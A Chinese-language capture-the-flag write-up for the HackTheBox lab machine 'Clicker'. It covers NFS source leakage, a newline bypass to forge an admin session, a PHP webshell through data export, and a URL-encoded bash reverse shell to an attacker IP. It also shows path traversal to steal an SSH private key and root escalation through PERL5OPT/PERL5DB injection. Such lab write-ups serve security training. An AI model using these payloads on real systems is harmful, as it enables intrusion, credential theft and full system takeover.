0%

Clicker

session伪造、perl_startup提权

Clicker

信息搜集

nmap扫描一下端口

1
nmap -sV -sC -v -p- --min-rate 1000 10.10.11.232

扫描结果

1
2
3
22/tcp    open  ssh
80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) //重定向
111/tcp open rpcbind 2-4 (RPC #100000)

我们往下看发现启用了nfs协议

去网上查询下相关资料 参考文章

NFS最大的功能就是可以透过网络,让不同的机器、不同的操作系统、可以彼此分享个别的档案(share files)。所以,你也可以简单地将它看做是一个文件服务器(file server)。这个NFS服务器可以让你的PC来将网络远程的NFS服务器分享的目录,挂载到本地端的机器当中,在本地端的机器看起来,那个远程主机的目录就好像是自己的一个磁盘分区槽一样(partition),使用上相当的便利。

既然可以远程读取文件,那么我们使用mount命令将远程NFS文件系统挂载到本地目录

在本地创建目录mnt/nfs_file,然后读取根目录文件

1
sudo mount -o nolock 10.10.11.232:/ ~/test/mnt/nfs_file

注:-o:指定挂载选项,比如读写权限、访问权限等

nolock 是在挂载 NFS 文件系统时的一种选项,用于禁用文件锁定机制,使得同时进行读写操作不受文件锁定限制

我们ls一下,发现zip文件

解压发现不行,用cp命令复制到本地即可

由于80端口出现重定向,那么我们添加域名到/etc/hosts

开始进行下一步

代码审计

我们在admin.php注意到有对session进行身份验证,如果验证失败则重定向到index.php

那么我们尝试得到admin的session,接着在save_game.php找到可利用的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>

简单分析一下,可以通过foreach对GET参数进行遍历,如果$key不为role(不区分大小写),那么$args[$key] = $value;进行赋值,调用save_profile函数去更新session,修改成功则返回Game has been saved!

这里我们搜索一下$_SESSION['PLAYER']是怎么来的,发现是由username决定的也就是登陆者身份

那么我们可以借助GET传参role=Admin来更新并得到admin的session,但要绕过if (strtolower($key) === 'role')判断

这里本地测试发现,利用换行符%0a就行了

反弹shell

我们随便注册登录后点击play进入游戏,然后save的时候抓包

放行,提示修改成功

然后退出重新登录,发现多了一个功能

点进去看看发现有四个用户

有个导出表格export选项,点击得到保存的路径

访问一下

我们抓包看看保存的过程发现拓展名可控

尝试修改为php成功

既然可以修改为php后缀,那么我们寻找下写马的位置。很明显,保存的数据中只有nickname可以让我们写马,而如何修改nickname的值就和刚刚修改role一样的办法

点击play,然后save的时候抓包

(注意?要url编码一下)

然后还是一样回显保存成功,那么说明成功写入马

继续按照刚刚那样抓包修改导出拓展名为php,然后访问保存路径成功RCE

我们将反弹shell命令url编码一下,然后执行

1
?1=bash%20%2Dc%20%22bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E74%2F1028%200%3E%261%22

成功反弹shell

我们尝试访问/home/jack发现不行,接着在/opt/manage发现可疑文件

貌似是二进制文件execute_query的使用说明

我们在连接的靶机开启http服务,使用wget命令下载下来该二进制文件

然后丢到ida里F5反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
size_t v4; // rbx
size_t v5; // rax
size_t v6; // rbx
size_t v7; // rax
int v8; // [rsp+10h] [rbp-B0h]
char *dest; // [rsp+18h] [rbp-A8h]
char *name; // [rsp+20h] [rbp-A0h]
char *command; // [rsp+28h] [rbp-98h]
char s[32]; // [rsp+30h] [rbp-90h] BYREF
char src[88]; // [rsp+50h] [rbp-70h] BYREF
unsigned __int64 v14; // [rsp+A8h] [rbp-18h]

v14 = __readfsqword(0x28u);
if ( argc > 1 )
{
v8 = atoi(argv[1]);
dest = (char *)calloc(0x14uLL, 1uLL);
switch ( v8 )
{
case 0:
puts("ERROR: Invalid arguments");
return 2;
case 1:
strncpy(dest, "create.sql", 0x14uLL);
goto LABEL_10;
case 2:
strncpy(dest, "populate.sql", 0x14uLL);
goto LABEL_10;
case 3:
strncpy(dest, "reset_password.sql", 0x14uLL);
goto LABEL_10;
case 4:
strncpy(dest, "clean.sql", 0x14uLL);
goto LABEL_10;
default:
strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
strcpy(s, "/home/jack/queries/");
v4 = strlen(s);
v5 = strlen(dest);
name = (char *)calloc(v4 + v5 + 1, 1uLL);
strcat(name, s);
strcat(name, dest);
setreuid(0x3E8u, 0x3E8u);
if ( access(name, 4) )
{
puts("File not readable or not found");
}
else
{
strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
v6 = strlen(src);
v7 = strlen(dest);
command = (char *)calloc(v6 + v7 + 1, 1uLL);
strcat(command, src);
strcat(command, name);
system(command);
}
result = 0;
break;
}
}
else
{
puts("ERROR: not enough arguments");
return 1;
}
return result;
}

然后就卡住了,于是参考下国外师傅写的wp是去读取了jack的id_rsa私钥

这里的参数5是因为在上述代码中如果不为1234中的一个,就会执行第三个命令行参数 argv[2] 的内容复制到 dest 变量中

1
2
default:
strncpy(dest, argv[2], 0x14uLL);

然后拼接文件路径,然后检查文件是否可读。如果文件不可读或者不存在,程序会输出 “File not readable or not found”。否则,将会构建一个 MySQL 命令并执行它,因为拼接的路径为/home/jack/queries/,所以要先返回上一级目录

payload如下

1
./execute_query 5 ../.ssh/id_rsa

成功读取

将这一长串保存下来命名为id_rsa

由于为了确保私钥的安全性,私钥文件应该只对所有者有读写权限

1
chmod 600 id_rsa

然后注意OpenSSH内容格式不对,所以将三个-修改为五个

1
2
3
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAAB...
-----END OPENSSH PRIVATE KEY-----

直接ssh连接,得到user的flag

1
ssh -i id_rsa jack@10.10.11.232

提权

我们sudo发现有monitor.sh,然后cat看下具体内容

这里注意到两个文件/usr/bin/xml_pp/usr/bin/echo(后者并没有什么特殊用处)

而我们跟进/usr/bin/xml_pp发现是perl脚本运行

通过搜索得知一种名为perl_startup的提权方式 参考文章

我们直接给monitor.sh赋予/bin/bash权限

1
2
sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
//u+s表示给user用户添加权限,即/bin/bash

然后再bash -p即可(用于启用特权模式(privileged mode)的一个选项,保留有效用户的特权和权限)

得到root的flag